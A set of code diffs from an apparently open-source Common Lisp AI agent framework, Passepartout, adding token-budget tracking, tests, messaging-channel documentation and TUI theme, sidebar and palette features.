(let ((s (passepartout::dispatcher-block-counts-summary)))
(is (= 0 (getf s :total)))
(is (null (getf s :by-gate)))))

View File

@@ -34,8 +34,6 @@
:priority 600
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))

View File

@@ -166,45 +166,3 @@ until stack is empty or :memex context is reached."
;; Restore persisted context on load
(context-load)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-context-tests
(:use :cl :passepartout)
(:export #:context-suite))
(in-package :passepartout-context-tests)
(fiveam:def-suite context-suite :description "Context manager verification")
(fiveam:in-suite context-suite)
(fiveam:test test-push-pop-context
"Contract 1-2: push-context and pop-context maintain stack order."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
(when stack-var
(setf (symbol-value stack-var) nil)
(push-context :project "testapp" :base-path "/tmp" :scope :project)
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
(pop-context)
(fiveam:is (null (symbol-value stack-var))))))
(fiveam:test test-context-save-load
"Contract 3-4: context-save and context-load round-trip."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
(when (and stack-var pf-var)
(let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
(setf (symbol-value pf-var) tmpfile)
(setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
(context-save)
(fiveam:is (probe-file tmpfile))
(setf (symbol-value stack-var) nil)
(context-load)
(fiveam:is (= 1 (length (symbol-value stack-var))))
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
(ignore-errors (delete-file tmpfile))))))

View File

@@ -3,7 +3,9 @@
(defvar *prompt-prefix-cache* (cons nil "")
"Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.")
(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered "")
(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered ""
:identity-tokens 0 :tool-tokens 0 :context-tokens 0
:log-tokens 0 :config-tokens 0 :time-tokens 0)
"Context assembly cache: metadata + last rendered context string.")
(defun prompt-prefix-cached (assistant-name identity-content feedback mandates-text tool-belt)
@@ -64,7 +66,9 @@ with trimmed sections."
(ignore-errors
(parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384)))
(labels ((ct (s) (funcall (symbol-function 'count-tokens) s))
(labels ((ct (s) (if (fboundp 'count-tokens)
(funcall (symbol-function 'count-tokens) s)
(ceiling (length s) 4)))
(total-tokens (p c l u m)
(+ (ct p)
(if c (ct c) 0)
@@ -102,6 +106,22 @@ with trimmed sections."
(getf *context-cache* :memory-timestamp) 0
(getf *context-cache* :rendered) ""))
(defun context-usage-percentage ()
"Returns integer 0-100: current token budget consumption.
Returns nil when no context cache data is available."
(let* ((limit (or (ignore-errors
(parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384))
(tokens (+ (or (getf *context-cache* :identity-tokens) 0)
(or (getf *context-cache* :tool-tokens) 0)
(or (getf *context-cache* :context-tokens) 0)
(or (getf *context-cache* :log-tokens) 0)
(or (getf *context-cache* :config-tokens) 0)
(or (getf *context-cache* :time-tokens) 0))))
(if (> tokens 0)
(min 100 (floor (* 100 tokens) limit))
nil)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -200,3 +220,168 @@ with trimmed sections."
(is (null (car passepartout::*prompt-prefix-cache*)))
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
(is (string= "" (getf passepartout::*context-cache* :rendered))))
#+end_src* v0.8.0 Tests Context Usage
#+begin_src lisp
(in-package :passepartout-token-economics-tests)
(test test-context-usage-percentage
"Contract 5: context-usage-percentage returns integer 0-100."
;; Set up a cache with known token counts
(let* ((ctx passepartout::*context-cache*)
(limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384)))
(setf (getf ctx :identity-tokens) 1000
(getf ctx :tool-tokens) 500
(getf ctx :context-tokens) 2000
(getf ctx :log-tokens) 800
(getf ctx :config-tokens) 200
(getf ctx :time-tokens) 100)
(let ((pct (passepartout::context-usage-percentage)))
(is (integerp pct))
(is (<= 0 pct 100)))))
(test test-context-usage-percentage-empty-cache
"Contract 5: context-usage-percentage returns nil with no cache data."
(let ((saved-ctx (copy-list passepartout::*context-cache*)))
(unwind-protect
(progn
(setf (getf passepartout::*context-cache* :identity-tokens) nil
(getf passepartout::*context-cache* :tool-tokens) nil
(getf passepartout::*context-cache* :context-tokens) nil
(getf passepartout::*context-cache* :log-tokens) nil
(getf passepartout::*context-cache* :config-tokens) nil
(getf passepartout::*context-cache* :time-tokens) nil)
(is (null (passepartout::context-usage-percentage))))
(setf passepartout::*context-cache* saved-ctx))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-token-economics-tests
(:use :cl :fiveam :passepartout)
(:export #:token-economics-suite))
(in-package :passepartout-token-economics-tests)
(def-suite token-economics-suite
:description "Prompt prefix caching, incremental context, token budget")
(in-suite token-economics-suite)
(test test-prompt-prefix-cached-identity
"Contract 1: prompt-prefix-cached includes identity-content when provided."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((prefix (passepartout::prompt-prefix-cached
"Agent" "### Mode: concise" "" nil "No tools")))
(is (stringp prefix))
(is (search "IDENTITY" prefix))
(is (search "Mode: concise" prefix))
(is (search "TOOLS" prefix))))
(test test-prompt-prefix-cached-builds
"Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((prefix (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
(is (stringp prefix))
(is (search "IDENTITY" prefix))
(is (search "TOOLS" prefix))))
(test test-prompt-prefix-cached-hits
"Contract 1: second call with same inputs returns cached result."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
(p2 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools")))
(is (string= p1 p2))))
(test test-prompt-prefix-cached-miss
"Contract 1: different inputs rebuild the cache."
(setf (car passepartout::*prompt-prefix-cache*) nil
(cdr passepartout::*prompt-prefix-cache*) "")
(let ((p1 (passepartout::prompt-prefix-cached "Agent" "" "" nil "No tools"))
(p2 (passepartout::prompt-prefix-cached "Bot" "" "" nil "No tools")))
(is (not (string= p1 p2)))
(is (search "Bot" p2))))
(test test-context-assemble-cached-skips-heartbeat
"Contract 2: heartbeat sensors skip context assembly, return nil."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :heartbeat)))
(is (null result))))
(test test-context-assemble-cached-skips-delegation
"Contract 2: delegation sensors also skip assembly."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :delegation)))
(is (null result))))
(test test-context-assemble-cached-non-skip
"Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
(let ((result (passepartout::context-assemble-cached
'(:foveal-focus "id1") :user-input)))
(is (stringp result))
(is (> (length result) 0))))
(test test-enforce-token-budget-passthrough
"Contract 3: under-budget prompts pass through unchanged."
(multiple-value-bind (p c l u m)
(passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
(is (string= "hi" p))
(is (string= "ctxt" c))
(is (string= "log" l))
(is (string= "user" u))
(is (null m))))
(test test-enforce-token-budget-trims
"Contract 3: over-budget prompts get trimmed."
(let ((big-prefix (make-string 20000 :initial-element #\x)))
(multiple-value-bind (p c l u m)
(passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
(declare (ignore p l u m))
;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
(is (or (stringp c) (null c)))
(is (search "[Context trimmed" (or c ""))))))
(test test-token-economics-initialize
"Contract 4: initialize zeroes all cache state."
(setf (car passepartout::*prompt-prefix-cache*) 12345
(cdr passepartout::*prompt-prefix-cache*) "stale")
(setf (getf passepartout::*context-cache* :rendered) "stale context")
(passepartout::token-economics-initialize)
(is (null (car passepartout::*prompt-prefix-cache*)))
(is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
(is (string= "" (getf passepartout::*context-cache* :rendered))))
#+end_src* v0.8.0 Tests Context Usage
#+begin_src lisp
(in-package :passepartout-token-economics-tests)
(test test-context-usage-percentage
"Contract 5: context-usage-percentage returns integer 0-100."
;; Set up a cache with known token counts
(let* ((ctx passepartout::*context-cache*)
(limit (or (ignore-errors (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
16384)))
(setf (getf ctx :identity-tokens) 1000
(getf ctx :tool-tokens) 500
(getf ctx :context-tokens) 2000
(getf ctx :log-tokens) 800
(getf ctx :config-tokens) 200
(getf ctx :time-tokens) 100)
(let ((pct (passepartout::context-usage-percentage)))
(is (integerp pct))
(is (<= 0 pct 100)))))
(test test-context-usage-percentage-empty-cache
"Contract 5: context-usage-percentage returns nil with no cache data."
(let ((saved-ctx (copy-list passepartout::*context-cache*)))
(unwind-protect
(progn
(setf (getf passepartout::*context-cache* :identity-tokens) nil
(getf passepartout::*context-cache* :tool-tokens) nil
(getf passepartout::*context-cache* :context-tokens) nil
(getf passepartout::*context-cache* :log-tokens) nil
(getf passepartout::*context-cache* :config-tokens) nil
(getf passepartout::*context-cache* :time-tokens) nil)
(is (null (passepartout::context-usage-percentage))))
(setf passepartout::*context-cache* saved-ctx))))

View File

@@ -10,7 +10,7 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o
1. (channel-cli-input text): wraps text in a ~:user-input~ envelope
with ~:source :CLI~ and injects into the pipeline via
~inject-stimulus~.
~stimulus-inject~.
* Implementation
@@ -24,7 +24,7 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o
#+begin_src lisp
(defun channel-cli-input (text)
"Processes raw text from the command line."
(inject-stimulus (list :type :EVENT
(stimulus-inject (list :type :EVENT
:payload (list :sensor :user-input :text text)
:meta (list :source :CLI))))
#+end_src
@@ -69,4 +69,4 @@ depending on FiveAM macro resolution in the jailed package.
(handler-case
(progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
(error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
#+end_src
#+end_src

View File

@@ -7,6 +7,30 @@
Extracted from gateway-messaging in v0.5.0. Isolated platform — Discord-specific poll and send logic.
* Overview
The Discord channel provides bidirectional communication via the Discord REST API
and Gateway WebSocket. Messages received from Discord channels are injected into
the cognitive pipeline as ~:user-input~ signals with ~:source :discord~. Outbound
messages route through the actuator registry when the pipeline targets ~:discord~.
The channel uses two functions: ~discord-poll~ (inbound sensor, REST polling)
and ~discord-send~ (outbound actuator, REST POST). Both retrieve the bot token
from the credentials vault (~vault-get-secret :discord~). HITL commands are
intercepted before injection so approval flows work identically across all channels.
** Contract
1. (discord-get-token): returns the Discord bot token from the vault
(via ~vault-get-secret :discord~), or nil if not configured.
2. (discord-poll): polls configured channels via GET /channels/{id}/messages,
injects each non-bot message as a ~:user-input~ stimulus with
~:source :discord~. Handles JSON parse failures and API errors
gracefully. HITL commands are intercepted before injection.
3. (discord-send action context): sends a message via POST /channels/{id}/messages.
Extracts ~:channel-id~ and ~:text~ from the action plist. Uses bot token
authentication. Logs send failures without crashing the pipeline.
* Implementation
#+begin_src lisp

View File

@@ -132,4 +132,4 @@ When bwrap is available, wraps the command in a Linux namespace sandbox."
(result (passepartout::actuator-shell-execute action nil)))
(is (stringp result))
(is (search "hello" result :test #'char-equal))))
#+end_src
#+end_src

View File

@@ -7,6 +7,31 @@
Extracted from gateway-messaging in v0.5.0. Isolated platform — Signal-specific poll and send logic.
* Overview
The Signal channel provides bidirectional communication via the ~signal-cli~ CLI tool.
Messages received from Signal contacts are injected into the cognitive pipeline
as ~:user-input~ signals with ~:source :signal~. Outbound messages route through
the actuator registry when the pipeline targets ~:signal~.
The channel uses two functions: ~signal-poll~ (inbound sensor) and ~signal-send~
(outbound actuator). Both retrieve the Signal account identifier from the
credentials vault. HITL commands (~/approve~, ~/deny~) are intercepted before
injection so approval flows work identically across all channels.
** Contract
1. (signal-get-account): returns the Signal phone number from the vault
(via ~vault-get-secret :signal~), or nil if not configured.
2. (signal-poll): queries ~signal-cli receive --json~ for new messages,
injects each non-system message as a ~:user-input~ stimulus with
~:source :signal~. Handles JSON parse failures and network errors
gracefully (logs and continues). HITL commands are intercepted before
injection.
3. (signal-send action context): sends a message via ~signal-cli send~.
Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
failures without crashing the pipeline.
* Implementation
#+begin_src lisp

View File

@@ -7,6 +7,31 @@
Extracted from gateway-messaging in v0.5.0. Isolated platform — Slack-specific poll and send logic.
* Overview
The Slack channel provides bidirectional communication via the Slack Web API
(chat.postMessage for outbound, conversations.history for inbound polling).
Messages from Slack channels are injected into the cognitive pipeline as
~:user-input~ signals with ~:source :slack~. Outbound messages route through
the actuator registry when the pipeline targets ~:slack~.
The channel uses two functions: ~slack-poll~ (inbound sensor) and ~slack-send~
(outbound actuator). Both retrieve the bot token from the credentials vault.
HITL commands are intercepted before injection so approval flows work identically
across all channels.
** Contract
1. (slack-get-token): returns the Slack bot token from the vault
(via ~vault-get-secret :slack~), or nil if not configured.
2. (slack-poll): polls configured channels via conversations.history,
injects each non-bot message as a ~:user-input~ stimulus with
~:source :slack~. Handles API errors gracefully. HITL commands are
intercepted before injection.
3. (slack-send action context): sends a message via chat.postMessage.
Extracts ~:channel-id~ and ~:text~ from the action plist. Uses Bearer
token authentication. Logs send failures without crashing the pipeline.
* Implementation
#+begin_src lisp

View File

@@ -7,6 +7,33 @@
Extracted from gateway-messaging in v0.5.0. Isolated platform — Telegram-specific poll and send logic.
* Overview
The Telegram channel provides bidirectional communication via the Telegram Bot
API. Messages from Telegram chats are injected into the cognitive pipeline as
~:user-input~ signals with ~:source :telegram~. Outbound messages route through
the actuator registry when the pipeline targets ~:telegram~.
The channel uses two functions: ~telegram-poll~ (inbound sensor, getUpdates
with offset tracking) and ~telegram-send~ (outbound actuator, sendMessage).
Both retrieve the bot token from the credentials vault. The polling offset
(~:last-update-id~ in ~*gateway-configs*~) prevents duplicate processing across
poll cycles. HITL commands are intercepted before injection so approval flows
work identically across all channels.
** Contract
1. (telegram-get-token): returns the Telegram bot token from the vault
(via ~vault-get-secret :telegram~), or nil if not configured.
2. (telegram-poll): polls getUpdates with offset tracking (prevents
duplicate processing), injects each message as a ~:user-input~ stimulus
with ~:source :telegram~. Updates ~:last-update-id~ per cycle. Handles
API and JSON parse errors gracefully. HITL commands are intercepted
before injection.
3. (telegram-send action context): sends a message via sendMessage.
Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
failures without crashing the pipeline.
* Implementation
#+begin_src lisp

File diff suppressed because it is too large Load Diff

View File

@@ -6,6 +6,66 @@
The TUI state is a single plist accessed via ~st~ / ~(setf st)~.
All state mutation flows through event handlers in the controller.
** v0.8.0 — Information Radiator: Sidebar State
The sidebar is Passepartout's permanent UX differentiator — a 42-column
information panel that renders architectural data no competitor can display
because none has deterministic gates, foveal-peripheral context, or
rule-synthesizing Dispatcher to feed it. The sidebar makes the invisible
visible: seven panels of zero-LLM-token data from the deterministic layer,
always on screen when terminal width permits.
The sidebar reads its data from daemon response fields enriched by the
~:tui~ actuator in ~core-act.org~. All seven panels consume existing
infrastructure: gate trace from ~cognitive-verify~ (v0.4.0), focus from
~*loop-focus-id*~ (v0.3.0), rules from ~*hitl-pending*~ (v0.3.0), context
from ~token-economics~ (v0.5.0), files from tool execution tracking
(v0.8.0 new), cost from ~cost-tracker~ (v0.5.0), and block counts from
the Dispatcher (v0.8.0 new). Each field arrives as a daemon-response
plist key; the TUI stores them in state fields read by ~view-sidebar~.
When the terminal is narrower than 120 columns, the sidebar collapses to
an overlay toggled via ~/sidebar~ or ~Ctrl+X+B~. This preserves the
information radiator on constrained displays without sacrificing chat
area real estate.
State additions: ~:sidebar-visible~ (boolean), ~:block-counts~ (alist),
~:context-usage~ (integer 0-100), ~:modified-files~ (list of plists),
~:session-cost~ (plist).
** v0.8.0 — TrueColor Theme System
The existing theme system uses Croatoan's standard 8-color palette
(cyan, green, red, white, etc.). v0.8.0 upgrades to 24-bit TrueColor
via Croatoan's ~set-rgb~ / ~init-color~ primitives, enabling hex-specified
colors (#5E81AC, #BF616A, etc.) on supporting terminals (iTerm2, Kitty,
WezTerm, Windows Terminal, Ghostty).
The upgrade is backward compatible: terminals without TrueColor fall
back to the nearest standard color. Hex values are parsed by
~theme-hex-to-rgb~ (one-line format string → integer triple) and
registered once at theme-switch time via ~theme-init-truecolor~.
Subsequent ~theme-color~ lookups return the Croatoan color ID, same
API as the 8-color system.
Four new presets join the existing four (dark, light, solarized, gruvbox):
- ~:nord~ — blue-gray backgrounds, frost accent
- ~:tokyonight~ — purple-blue backgrounds, teal accent
- ~:catppuccin~ — warm pastels, mauve accent
- ~:monokai~ — dark brown backgrounds, orange accent
Each preset defines 27 hex color values, one per semantic key in
~*tui-theme*~. The 27 keys are:
roles (user, agent, system), content (input, timestamp, help, error,
warning), status (connected, disconnected, busy, idle), gate trace
(passed, blocked, approval, hitl), tools (running, success, failure,
output), display (scroll-indicator, border, background), differentiator
(rule-count, focus-map), and UI (dim, highlight, accent).
An audit ensures every key from ~*tui-theme*~ is consumed by at least one
rendering function in ~channel-tui-view.org~. Missing keys become invisible
theme presets — defined but unused.
** Contract
1. (init-state): returns a fresh state plist with ~:msgs~ list,
@@ -15,6 +75,18 @@ All state mutation flows through event handlers in the controller.
and optional gate-trace from the daemon (v0.4.0).
3. (queue-event ev): thread-safely enqueues an event for the
reader loop. (drain-queue) returns and clears the queue.
4. (theme-hex-to-rgb hex-string): parses ~"#RRGGBB"~ to
~(values r g b)~ integers 0-255. Returns ~(values 255 255 255)~
for unparseable input (v0.8.0).
5. (theme-init-truecolor): registers hex color values from
~*tui-theme*~ with Croatoan's ~init-color~ / ~set-rgb~. No-op
on terminals without TrueColor support (v0.8.0).
6. (theme-color key): extended contract (v0.8.0): if the ~*tui-theme*~
entry for ~key~ is a hex string, returns the Croatoan color ID
registered by ~theme-init-truecolor~. Falls back to keyword
lookup for non-hex entries and non-TrueColor terminals.
7. (sidebar-toggle): toggles ~:sidebar-visible~ state. Sets dirty
flags to force sidebar redraw (v0.8.0).
** Package + State
#+begin_src lisp
@@ -85,7 +157,43 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
:tool-running "#d33682" :tool-success "#859900" :tool-failure "#dc322f" :tool-output "#839496"
:scroll-indicator "#2aa198" :border "#657b83" :background "#002b36"
:rule-count "#2aa198" :focus-map "#b58900"
:dim "#586e75" :highlight "#2aa198" :accent "#859900"))
:dim "#586e75" :highlight "#2aa198" :accent "#859900")
:nord (:user "#81a1c1" :agent "#d8dee9" :system "#ebcb8b"
:input "#d8dee9" :timestamp "#4c566a" :help "#88c0d0" :error "#bf616a" :warning "#ebcb8b"
:connected "#a3be8c" :disconnected "#bf616a" :busy "#b48ead" :idle "#616e88"
:gate-passed "#a3be8c" :gate-blocked "#bf616a" :gate-approval "#ebcb8b"
:hitl "#b48ead"
:tool-running "#b48ead" :tool-success "#a3be8c" :tool-failure "#bf616a" :tool-output "#d8dee9"
:scroll-indicator "#88c0d0" :border "#4c566a" :background "#2e3440"
:rule-count "#88c0d0" :focus-map "#ebcb8b"
:dim "#616e88" :highlight "#88c0d0" :accent "#5e81ac")
:tokyonight (:user "#7aa2f7" :agent "#c0caf5" :system "#e0af68"
:input "#c0caf5" :timestamp "#565f89" :help "#7dcfff" :error "#f7768e" :warning "#e0af68"
:connected "#9ece6a" :disconnected "#f7768e" :busy "#bb9af7" :idle "#565f89"
:gate-passed "#9ece6a" :gate-blocked "#f7768e" :gate-approval "#e0af68"
:hitl "#bb9af7"
:tool-running "#bb9af7" :tool-success "#9ece6a" :tool-failure "#f7768e" :tool-output "#c0caf5"
:scroll-indicator "#7dcfff" :border "#1f2335" :background "#1a1b26"
:rule-count "#7dcfff" :focus-map "#e0af68"
:dim "#565f89" :highlight "#7dcfff" :accent "#7aa2f7")
:catppuccin (:user "#89b4fa" :agent "#cdd6f4" :system "#f9e2af"
:input "#cdd6f4" :timestamp "#585b70" :help "#94e2d5" :error "#f38ba8" :warning "#f9e2af"
:connected "#a6e3a1" :disconnected "#f38ba8" :busy "#cba6f7" :idle "#6c7086"
:gate-passed "#a6e3a1" :gate-blocked "#f38ba8" :gate-approval "#f9e2af"
:hitl "#cba6f7"
:tool-running "#cba6f7" :tool-success "#a6e3a1" :tool-failure "#f38ba8" :tool-output "#cdd6f4"
:scroll-indicator "#94e2d5" :border "#45475a" :background "#1e1e2e"
:rule-count "#94e2d5" :focus-map "#f9e2af"
:dim "#6c7086" :highlight "#94e2d5" :accent "#89b4fa")
:monokai (:user "#a6e22e" :agent "#f8f8f2" :system "#e6db74"
:input "#f8f8f2" :timestamp "#75715e" :help "#66d9ef" :error "#f92672" :warning "#e6db74"
:connected "#a6e22e" :disconnected "#f92672" :busy "#ae81ff" :idle "#75715e"
:gate-passed "#a6e22e" :gate-blocked "#f92672" :gate-approval "#e6db74"
:hitl "#ae81ff"
:tool-running "#ae81ff" :tool-success "#a6e22e" :tool-failure "#f92672" :tool-output "#f8f8f2"
:scroll-indicator "#66d9ef" :border "#49483e" :background "#272822"
:rule-count "#66d9ef" :focus-map "#e6db74"
:dim "#75715e" :highlight "#66d9ef" :accent "#a6e22e"))
"Named theme presets. /theme <name> loads one into *tui-theme*.")
(defvar *tui-theme-current-name* :dark
@@ -121,8 +229,40 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
key)))
(defun theme-color (role)
"Returns the Croatoan color for a semantic role."
(or (getf *tui-theme* role) :white))
"Returns the Croatoan color for a semantic role.
Keyword or hex string values are returned as-is; hex strings are
converted to integers that Croatoan can process."
(let ((val (or (getf *tui-theme* role) :white)))
(if (and (stringp val) (> (length val) 0) (eql (char val 0) #\#))
(handler-case (parse-integer (subseq val 1) :radix 16)
(error () val))
val)))
;; v0.8.0: TrueColor helpers
(defun theme-hex-to-rgb (hex-string)
"Parse #RRGGBB to (values r g b). Returns (255 255 255) for invalid input."
(if (and (stringp hex-string) (= 7 (length hex-string)) (eql (char hex-string 0) #\#))
(handler-case
(let ((r (parse-integer (subseq hex-string 1 3) :radix 16))
(g (parse-integer (subseq hex-string 3 5) :radix 16))
(b (parse-integer (subseq hex-string 5 7) :radix 16)))
(values r g b))
(error () (values 255 255 255)))
(values 255 255 255)))
(defun theme-init-truecolor ()
"Register hex colors from *tui-theme* with Croatoan's init-color."
(handler-case
(loop for (key val) on *tui-theme* by #'cddr
when (and (stringp val) (= 7 (length val)) (eql (char val 0) #\#))
do (multiple-value-bind (r g b) (theme-hex-to-rgb val)
(init-color key (/ r 255.0) (/ g 255.0) (/ b 255.0))))
(error () nil)))
(defun sidebar-toggle ()
"Toggle sidebar visibility. Sets dirty flags for full redraw."
(setf (st :sidebar-visible) (not (st :sidebar-visible)))
(setf (st :dirty) (list t t t)))
(defun st (key) (getf *state* key))
(defun (setf st) (val key) (setf (getf *state* key) val))
@@ -139,6 +279,15 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
:collapsed-gates nil ; v0.7.2
:search-mode nil :search-query "" ; v0.7.2
:search-matches nil :search-match-idx 0
:sidebar-visible nil ; v0.8.0
:minibuffer-mode nil :minibuffer-selected-idx 0 ; v0.8.0
:minibuffer-filter "" ; v0.8.0
:wizard-mode :provider-list ; v0.9.0
:wizard-selected-idx 0 :wizard-input "" ; v0.9.0
:wizard-error nil ; v0.9.0
:wizard-providers nil :wizard-current-provider nil ; v0.9.0
:wizard-cascade '(:fg-prob nil :bg-prob nil :fg-det nil :bg-det nil) ; v0.9.0
:wizard-cascade-slot :fg-prob ; v0.9.0
:dirty (list nil nil nil))))
#+end_src

View File

@@ -6,6 +6,89 @@
Pure render functions. Each takes a Croatoan window and current state.
State is read via ~(st :key)~ — no mutation here.
** v0.8.0 — Sidebar: The Information Radiator
The sidebar is Passepartout's permanent UX differentiator. No competitor
can render gate traces, focus maps, or rule counters because none has
deterministic gates, foveal-peripheral context, or rule synthesis. The
sidebar makes this data permanently visible in a 42-column panel at the
right of the terminal.
Seven panels stack vertically:
1. *Gate Trace* — per-message trace from the most recent agent response,
colored by gate state: green for passed, red for blocked, yellow for
HITL-required. Mirrors the per-message gate trace from v0.7.2 but
always visible.
2. *Focus* — the current foveal node ID from ~*loop-focus-id*~ plus a
related-node count from the last context assembly. Shows the user
what the agent is "looking at."
3. *Rules* — the Dispatcher's ~*hitl-pending*~ count with a progress bar
toward certification threshold. Shows how many user decisions the
Dispatcher has learned from.
4. *Context* — token gauge bar with percentage and color coding (green
< 50%, yellow 50-80%, orange 80-95%, red > 95%). Data from
~token-economics~ ~context-usage-percentage~.
5. *Files* — list of files modified in the most recent tool execution.
Each entry shows filepath and +/- line count where computable.
6. *Cost* — session cost from ~cost-tracker~: total USD spent, call
count, per-provider breakdown.
7. *Protection* — gate effectiveness counter from the Dispatcher's
~*dispatcher-block-counts*~: how many actions each gate blocked this
session. This is the specific-value-proposition panel — no competitor
has deterministic gates to count.
The sidebar is a fourth Croatoan window at the right of the terminal when
width ≥ 120 columns. At < 120 columns, it becomes an absolute-positioned
overlay toggled via ~/sidebar~ or ~Ctrl+X+B~. The overlay uses the same
rendering function (~view-sidebar~) and same data paths.
** v0.8.0 — Command Palette
The command palette provides a single discoverable entry point for all
TUI commands. Currently, commands are invisible — the user must know
~/help~ exists to discover ~/focus~, ~/rewind~, ~/context~, etc. The
palette solves this with a fuzzy-searchable overlay (Ctrl+P) organized
by category:
- *Session*~/focus~, ~/scope~, ~/unfocus~, ~/rename~
- *Agent*~/approve~, ~/deny~, ~/why~, ~/audit~, ~/context~
- *View*~/theme~, ~/sidebar~, ~/search~, ~/clear~
- *System*~/eval~, ~/status~, ~/reconnect~, ~/quit~
The palette renders as a centered Croatoan window overlay. Typing
filters items by fuzzy substring match on both command name and
description. Up/Down navigates; Enter executes; Esc dismisses.
Keyboard shortcuts (Ctrl+G, Ctrl+F, Ctrl+D, etc.) are displayed
as hints next to each item.
This mirrors OpenCode's command palette pattern — a proven UX
convention that makes power commands discoverable without reading
documentation.
** v0.8.0 — TUI Setup Wizard (deferred from v0.7.0)
The TUI setup wizard replaces the terminal-based ~passepartout configure~
flow with an in-TUI onboarding sequence. Users select LLM providers,
enter API keys, and verify connections — all within the same interface
they'll use daily.
The wizard is a multi-step overlay with progress indicator. Each step
defines a title, prompt text, validation function, and next-step function.
On validation failure, the step displays an error and stays on the current
step. On success, it advances. The last step writes configuration to
~.env~ and triggers daemon reload.
The wizard reuses the overlay infrastructure built for the command
palette and sidebar — same window creation patterns, same Croatoan
rendering primitives.
** Contract
1. (view-status win): renders the status bar with connection info,
@@ -23,6 +106,23 @@ State is read via ~(st :key)~ — no mutation here.
Tab = 8. Used by word-wrap for accurate line counting (v0.7.0).
6. (view-status win): v0.7.0 — timestamp right-aligned at (- w 12)
on line 2, focus info at :x 1. No overlap.
7. (redraw sw cw sidebar-w ch iw): v0.8.0 — redraw dispatches to
five windows: status, chat, sidebar (when visible and ≥120 cols),
input. In overlay mode (<120 cols), sidebar is rendered as an
absolute-positioned overlay window on top of chat.
8. (view-sidebar window): renders 42-column sidebar with 7 panels
stacked vertically: Gate Trace, Focus, Rules, Context gauge,
Files, Cost, Protection. Each panel title uses ~:accent~ color.
Returns number of lines rendered (v0.8.0).
9. (view-palette window items filter-query selected-idx): renders
command palette as centered overlay (~60% width, ~50% height).
Shows category headers, filtered items with highlighted selection,
keyboard shortcut hints. Scrolls when items exceed available
height (v0.8.0).
10. (view-wizard window step input error): renders setup wizard UI:
step title (~:accent~), prompt text (~:agent~), input area,
error message in ~:error~ color, progress indicator "Step N/M"
at bottom (v0.8.0).
** Status Bar
@@ -157,7 +257,7 @@ that the TUI actuator attaches to the response plist before transmission.
;; v0.7.2: gate trace below agent messages
(let ((gate-trace (getf msg :gate-trace)))
(when (and gate-trace (not (member i (st :collapsed-gates))))
(dolist (entry (passepartout::gate-trace-lines gate-trace))
(dolist (entry (gate-trace-lines gate-trace))
(when (< y (1- h))
(add-string win (car entry) :y y :x 3 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) :dim))
(incf y))))))))))
@@ -188,9 +288,120 @@ that the TUI actuator attaches to the response plist before transmission.
(setf (st :dirty) (list nil nil nil))))
#+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-tui-view-tests
(:use :cl :fiveam :passepartout)
(:export #:tui-view-suite))
(in-package :passepartout-tui-view-tests)
(def-suite tui-view-suite :description "TUI view rendering helpers")
(in-suite tui-view-suite)
(test test-char-width-ascii
"Contract 5: ASCII characters (< 128) have width 1."
